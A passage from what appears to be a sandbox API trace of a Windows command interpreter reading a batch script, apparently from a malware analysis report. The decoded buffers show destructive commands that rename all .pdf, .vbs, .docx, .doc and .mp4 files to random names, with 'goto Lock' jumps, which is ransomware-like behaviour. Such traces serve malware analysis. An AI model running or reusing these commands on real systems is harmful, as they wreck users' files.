0x1 [0037.939] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e3 [0037.939] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.939] SetFilePointer (in: hFile=0x74, lDistanceToMove=4837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12e5 [0037.939] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ndf\r\n") returned 2 [0037.939] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.939] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e5 [0037.940] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.940] GetFileType (hFile=0x74) returned 0x1 [0037.940] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e5 [0037.940] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.940] SetFilePointer (in: hFile=0x74, lDistanceToMove=4863, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12ff [0037.940] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.pdf %RANDOM%.XL\r\n") returned 26 [0037.940] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.940] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ff [0037.940] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.940] GetFileType (hFile=0x74) returned 0x1 [0037.940] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ff [0037.940] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.940] SetFilePointer (in: hFile=0x74, lDistanceToMove=4874, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x130a [0037.940] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0037.940] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.940] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130a [0037.940] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.940] GetFileType (hFile=0x74) returned 0x1 [0037.941] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130a [0037.941] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.941] SetFilePointer (in: hFile=0x74, lDistanceToMove=4876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x130c [0037.941] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.941] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.941] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130c [0037.941] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.941] GetFileType (hFile=0x74) returned 0x1 [0037.941] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130c [0037.941] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.941] SetFilePointer (in: hFile=0x74, lDistanceToMove=4882, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1312 [0037.941] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":vbs\r\nock\r\n") returned 6 [0037.941] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.941] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1312 [0037.941] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.941] GetFileType (hFile=0x74) returned 0x1 [0037.941] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1312 [0037.941] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.942] SetFilePointer (in: hFile=0x74, lDistanceToMove=4884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1314 [0037.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nbs\r\n") returned 2 [0037.942] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.942] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1314 [0037.942] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.942] GetFileType (hFile=0x74) returned 0x1 [0037.942] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1314 [0037.942] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.942] SetFilePointer (in: hFile=0x74, lDistanceToMove=4910, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x132e [0037.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.vbs %RANDOM%.XL\r\n") returned 26 [0037.942] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.942] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x132e [0037.942] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.942] GetFileType (hFile=0x74) returned 0x1 [0037.942] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x132e [0037.942] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.942] SetFilePointer (in: hFile=0x74, lDistanceToMove=4921, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1339 [0037.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ns %RANDOM%.XL\r\n") returned 11 [0037.942] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.942] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1339 [0037.943] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.943] GetFileType (hFile=0x74) returned 0x1 [0037.943] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1339 [0037.943] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.943] SetFilePointer (in: hFile=0x74, lDistanceToMove=4923, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x133b [0037.943] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.943] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.943] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x133b [0037.943] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.943] GetFileType (hFile=0x74) returned 0x1 [0037.943] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x133b [0037.943] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.943] SetFilePointer (in: hFile=0x74, lDistanceToMove=4930, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1342 [0037.943] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":docx\r\nck\r\n") returned 7 [0037.943] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.943] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1342 [0037.943] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.943] GetFileType (hFile=0x74) returned 0x1 [0037.943] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1342 [0037.944] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.944] SetFilePointer (in: hFile=0x74, lDistanceToMove=4932, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1344 [0037.944] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nocx\r\n") returned 2 [0037.944] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.944] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1344 [0037.944] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.944] GetFileType (hFile=0x74) returned 0x1 [0037.944] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1344 [0037.944] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.944] SetFilePointer (in: hFile=0x74, lDistanceToMove=4959, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x135f [0037.944] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.docx %RANDOM%.XL\r\n\r\n") returned 27 [0037.944] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.944] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x135f [0037.944] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.944] GetFileType (hFile=0x74) returned 0x1 [0037.944] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x135f [0037.944] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.945] SetFilePointer (in: hFile=0x74, lDistanceToMove=4970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x136a [0037.945] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ncx %RANDOM%.XL\r\n") returned 11 [0037.945] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.945] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136a [0037.945] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.945] GetFileType (hFile=0x74) returned 0x1 [0037.945] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136a [0037.953] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.953] SetFilePointer (in: hFile=0x74, lDistanceToMove=4972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x136c [0037.953] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.953] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.953] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136c [0037.954] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.954] GetFileType (hFile=0x74) returned 0x1 [0037.954] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136c [0037.954] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.954] SetFilePointer (in: hFile=0x74, lDistanceToMove=4978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1372 [0037.954] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":doc\r\nock\r\n") returned 6 [0037.954] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.954] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1372 [0037.954] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.954] GetFileType (hFile=0x74) returned 0x1 [0037.954] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1372 [0037.954] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.954] SetFilePointer (in: hFile=0x74, lDistanceToMove=4980, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1374 [0037.954] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\noc\r\n") returned 2 [0037.954] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.954] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1374 [0037.954] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.954] GetFileType (hFile=0x74) returned 0x1 [0037.954] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1374 [0037.955] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.955] SetFilePointer (in: hFile=0x74, lDistanceToMove=5006, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x138e [0037.955] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.doc %RANDOM%.XL\r\n\n") returned 26 [0037.955] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.955] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x138e [0037.955] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.955] GetFileType (hFile=0x74) returned 0x1 [0037.955] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x138e [0037.955] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.955] SetFilePointer (in: hFile=0x74, lDistanceToMove=5017, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1399 [0037.955] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nc %RANDOM%.XL\r\n") returned 11 [0037.955] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.955] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1399 [0037.955] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.955] GetFileType (hFile=0x74) returned 0x1 [0037.955] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1399 [0037.955] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.955] SetFilePointer (in: hFile=0x74, lDistanceToMove=5019, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x139b [0037.955] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.956] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.956] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x139b [0037.956] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.956] GetFileType (hFile=0x74) returned 0x1 [0037.956] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x139b [0037.956] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.956] SetFilePointer (in: hFile=0x74, lDistanceToMove=5025, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13a1 [0037.956] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp4\r\nock\r\n") returned 6 [0037.956] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.956] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a1 [0037.956] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.956] GetFileType (hFile=0x74) returned 0x1 [0037.956] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a1 [0037.956] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.956] SetFilePointer (in: hFile=0x74, lDistanceToMove=5027, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13a3 [0037.956] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np4\r\n") returned 2 [0037.956] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.956] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a3 [0037.956] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.956] GetFileType (hFile=0x74) returned 0x1 [0037.957] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a3 [0037.957] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.957] SetFilePointer (in: hFile=0x74, lDistanceToMove=5053, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13bd [0037.957] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp4 %RANDOM%.XL\r\n") returned 26 [0037.957] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.957] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13bd [0037.957] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.957] GetFileType (hFile=0x74) returned 0x1 [0037.957] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13bd [0037.957] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.957] SetFilePointer (in: hFile=0x74, lDistanceToMove=5064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13c8 [0037.957] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n4 %RANDOM%.XL\r\n") returned 11 [0037.957] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.957] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13c8 [0037.957] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.957] GetFileType (hFile=0x74) returned 0x1 [0037.957] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13c8 [0037.957] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, 